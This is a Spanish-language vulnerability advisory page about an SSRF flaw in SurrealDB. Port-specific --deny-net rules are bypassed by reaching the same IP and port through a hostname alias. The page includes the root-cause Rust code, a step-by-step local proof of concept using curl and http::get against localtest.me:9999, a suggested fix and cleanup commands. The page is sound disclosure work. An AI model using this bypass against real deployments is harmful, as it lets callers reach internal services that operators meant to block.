llamaCVEVulnerability Intelligence
/
Advisory · GitHub · crates.io · surrealdb

GHSA-MHV5-88P6-W4C3

Reglas --deny-net específicas de puerto eludidas mediante alias del host (hostname <-> IP): omisión de la política de salida por SSRF

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -25 d de la divulgación
Exposición33 dDesde la divulgación, 19 oct 2026, 3:51 a. m.
Detección32 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Ni pánico ni ignorarla: término medio.Si tu inventario está al día, ya ganaste.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 3.3.0
Monitoreo
Detectada +1
24 sept 26
19 oct 26
20 nov 26
21 nov 26
24 sept 26
8 oct 26
23 oct 26
7 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.3.0 surrealdb · -25 d desde divulgación
Divulgación Publicada GHSA-MHV5-88P6-W4C3 divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Traducción automática · Ver original
Descripción del advisory
Traducción automática · GitHub

Objetivo: github.com/surrealdb/surrealdb
Recurso afectado: coincidencia de capacidades de red `NetTarget` (`surrealdb/core/src/dbs/capabilities.rs`), tal como la consumen `Context::check_allowed_net` y el `FilteringResolver`. Verificado en el binario de la versión v3.2.0 (última release en GitHub), con código vulnerable idéntico en el crate surrealdb-core 3.2.3 (última versión estable en crates.io) y en `main` HEAD `9d9a5b0`.
Severidad: Media (~6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Debilidad: CWE-918 (Falsificación de solicitudes del lado del servidor, SSRF)

Resumen

Una regla de denegación de red específica de puerto, ya sea `--deny-net HOST:PORT` o `--deny-net IP:PORT` (por ejemplo, `--deny-net 127.0.0.1:9999`), solo se aplica a una URL cuya cadena de host coincide *literalmente* con la regla. Como la regla se almacena como `NetTarget::Host(host, Some(port))` y la comprobación de IP resuelta la compara con valores `NetTarget::IPNet` sin puerto, la denegación se evita nombrando el mismo destino de otra forma: un nombre de host que resuelve a una IP denegada, o la forma IP de un host denegado. Un llamador autenticado de las funciones `http::*` alcanza el servicio interno bloqueado, sin necesidad de redirecciones, DNS rebinding ni scripting.

Esta vulnerabilidad es hermana de GHSA-97vg-427p-8hx5 https://github.com/surrealdb/surrealdb/security/advisories/GHSA-97vg-427p-8hx5 (`--deny-net` específico de puerto descartado en una redirección HTTP, corregido en la 3.1.0). Ese aviso reforzó las denegaciones específicas de puerto en la ruta de redirección; este informe muestra que las mismas denegaciones específicas de puerto se aplican de forma insuficiente en la solicitud inicial, mediante alias del host.

Causa raíz

`--deny-net HOST:PORT` / `IP:PORT` se interpreta como `NetTarget::Host(host, Some(port))`. Dos hechos se combinan:

  1. `NetTarget::resolve()` asigna cada dirección resuelta a un `NetTarget::IPNet` sin puerto, descartando el puerto (`capabilities.rs` L221-L232 https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/dbs/capabilities.rs#L221-L232):
NetTarget::Host(h, p) => {
    let r = lookup_host((h.to_string(), p.unwrap_or(80)))
        .await?
        .map(|a| NetTarget::IPNet(a.ip().into()))   // <-- port discarded
        .collect();
    Ok(r)
}
  1. `NetTarget::Host(host, Some(port))` solo coincide con otro `Host(_, Some(port))`; frente a un destino `IPNet` es estructuralmente `false` (`capabilities.rs` L264-L267 https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/dbs/capabilities.rs#L264-L267):
Self::Host(host, Some(port)) => match tgt {
    Self::Host(tgt_host, Some(tgt_port)) => host == tgt_host && port == tgt_port,
    _ => false,   // <-- IPNet target never matches a port-bearing Host rule
},

Por tanto, el bucle de denegación por IP resuelta de `check_allowed_net` (`context.rs` L1221-L1225) https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/ctx/context.rs#L1221-L1225 y la comprobación equivalente en el `FilteringResolver` (`net/mod.rs` L113-L123) https://github.com/surrealdb/surrealdb/blob/9d9a5b0693e499e0d030cac6b618062ec02cd2bc/surrealdb/core/src/net/mod.rs#L113-L123 nunca pueden aplicar una denegación con puerto. Solo la comparación literal inicial `Host` contra `Host` la detecta, por lo que cualquier alias del host la evita:

  • `--deny-net IP:PORT` se evita con un nombre de host que resuelve a esa IP.
  • `--deny-net HOST:PORT` se evita con la IP, o con cualquier otro nombre de host que resuelva a la misma IP.

Las reglas de IP sin puerto (`--deny-net 127.0.0.1`, almacenadas como `IPNet/32`) son robustas, ya que coinciden directamente con el `IPNet` resuelto. El fallo está específicamente en la forma `Host` con puerto, que es precisamente el tipo de denegación que GHSA-97vg-427p-8hx5 estableció como protección válida (su ejemplo fue `deny_net = ["example.com:6379"]`). En despliegues con lista de denegación (`--allow-net` sin restricciones), se omite el filtro de direcciones privadas por IP resuelta, de modo que el destino alcanzado puede ser cualquier servicio interno.

Pasos para reproducir

Requisitos previos
  • Servidor `surreal` v3.2.0 (descargado en el Paso 1)
  • python3 (3.8+)
  • curl
Paso 1: Descargar el binario de la versión 3.2.0 y crear un servicio víctima
mkdir /tmp/surrealdb-ssrf && cd /tmp/surrealdb-ssrf
case "$(uname -s)-$(uname -m)" in
  Darwin-arm64)  A=darwin-arm64 ;;
  Darwin-x86_64) A=darwin-amd64 ;;
  Linux-x86_64)  A=linux-amd64 ;;
  Linux-aarch64) A=linux-arm64 ;;
  *) echo "add your platform's asset from the v3.2.0 release" ; A=linux-amd64 ;;
esac
curl -L -o surreal.tgz "https://github.com/surrealdb/surrealdb/releases/download/v3.2.0/surreal-v3.2.0.${A}.tgz"
tar xzf surreal.tgz
./surreal version
cat > victim.py <<'EOF'
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer


class H(BaseHTTPRequestHandler):
    def do_GET(self):
        sys.stderr.write(f"VICTIM HIT Host={self.headers.get('Host')} path={self.path}\n")
        body = b"VICTIM_INTERNAL_SERVICE_REACHED"
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)


HTTPServer(("127.0.0.1", 9999), H).serve_forever()
EOF
Paso 2: Iniciar el servicio interno víctima en 127.0.0.1:9999
cd /tmp/surrealdb-ssrf
python3 victim.py

Abra una nueva terminal para el siguiente paso.

Paso 3: Iniciar SurrealDB con la salida permitida, pero con 127.0.0.1:9999 denegado
cd /tmp/surrealdb-ssrf
./surreal start --user root --pass root --bind 127.0.0.1:8000 --allow-all --deny-net 127.0.0.1:9999 memory

Abra una nueva terminal para el siguiente paso.

Paso 4: Demostrar que la denegación se mantiene para el destino literal, pero se evita con un alias

`localtest.me` es un nombre DNS público que resuelve a `127.0.0.1`, por lo que `http://localtest.me:9999/` apunta exactamente al destino denegado `127.0.0.1:9999`.

curl --retry 20 --retry-delay 1 --retry-connrefused http://127.0.0.1:8000/health
echo "--- [1] literal denied IP:port (expect blocked) ---"
curl -u root:root -H 'Accept: application/json' -H 'surreal-ns: t' -H 'surreal-db: t' \
  -X POST http://127.0.0.1:8000/sql --data "RETURN http::get('http://127.0.0.1:9999/blocked');"
echo
echo "--- [2] hostname alias to the SAME 127.0.0.1:9999 (expect REACHED = bypass) ---"
curl -u root:root -H 'Accept: application/json' -H 'surreal-ns: t' -H 'surreal-db: t' \
  -X POST http://127.0.0.1:8000/sql --data "RETURN http::get('http://localtest.me:9999/bypassed');"

Salida esperada:

[{"details":{"details":{"name":"127.0.0.1:9999"},"kind":"Target"},"kind":"NotAllowed","result":"Access to network target '127.0.0.1:9999' is not allowed","status":"ERR","time":"...","type":null}]
--- [2] hostname alias to the SAME 127.0.0.1:9999 (expect REACHED = bypass) ---
[{"result":"VICTIM_INTERNAL_SERVICE_REACHED","status":"OK","time":"...","type":null}]

La prueba [1] contra el destino literal `127.0.0.1:9999` es denegada; la prueba [2] contra `localtest.me:9999`, es decir, la misma IP y el mismo puerto, devuelve el cuerpo del servicio víctima, y la terminal de la víctima registra `VICTIM HIT Host=localtest.me:9999 path=/bypassed`. La regla `--deny-net 127.0.0.1:9999` fue eludida. El caso simétrico (`--deny-net localtest.me:9999` eludida mediante `http://127.0.0.1:9999/`) se reproduce de la misma forma; una regla `--deny-net 127.0.0.1` sin puerto bloquea ambos casos.

Corrección sugerida

Aplicar las reglas de denegación con puerto en la capa de IP resuelta. Se puede optar por (a) transportar el puerto de la conexión al destino resuelto, de modo que `NetTarget::resolve()` produzca `Host(IpAddr, Some(port))` en lugar de un `IPNet` sin puerto, y extender `matches()` para que una regla `Host(ip, Some(port))` coincida con un `Host(ip, Some(port))` resuelto; o bien (b) en `check_allowed_net` / `FilteringResolver`, volver a comprobar cada IP resuelta junto con el puerto de la solicitud frente a la lista de denegación. Las reglas por host sin puerto y por IP sin puerto ya se resuelven correctamente; solo la variante `Host` con puerto necesita la comparación con la IP resuelta.

Limpieza

pkill -f 'surreal start'
pkill -f victim.py
rm -rf /tmp/surrealdb-ssrf

Impacto

Un operador que ejecuta SurrealDB con salida HTTP habilitada (funciones `http::*`) y se basa en reglas `--deny-net` específicas de puerto para aislar servicios internos, que es exactamente la protección que SurrealDB reforzó en la 3.1.0, no está realmente protegido. Cualquier llamador autenticado que pueda invocar `http::get` (y, por la misma ruta de código, `http::post`, `put`, `patch` y `delete`) alcanza un destino `IP:PORT` / `HOST:PORT` denegado simplemente referenciándolo con otro nombre que resuelve a la misma dirección, y recibe la respuesta del servicio interno. En el modo de lista de denegación (`--allow-net` sin restricciones) se omite el filtro de IP privadas resueltas, por lo que los servicios de loopback, RFC1918 o link-local (bases de datos, paneles de administración, proxies de metadatos de nube) bloqueados por una regla específica de puerto se vuelven accesibles.

Versiones

Rangos afectados

Afectada Corregida Última
surrealdb≥ 3.1.0 < 3.3.0
3.1.0
3.3.0
4.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
crates.iosurrealdb
Corregida 3.3.0 -25 d 4.0.1 no afectada
Versiones corregidas3.3.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/surrealdb/surrealdb/security/advisories/GHSA-mhv5-88p6-w4c3

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.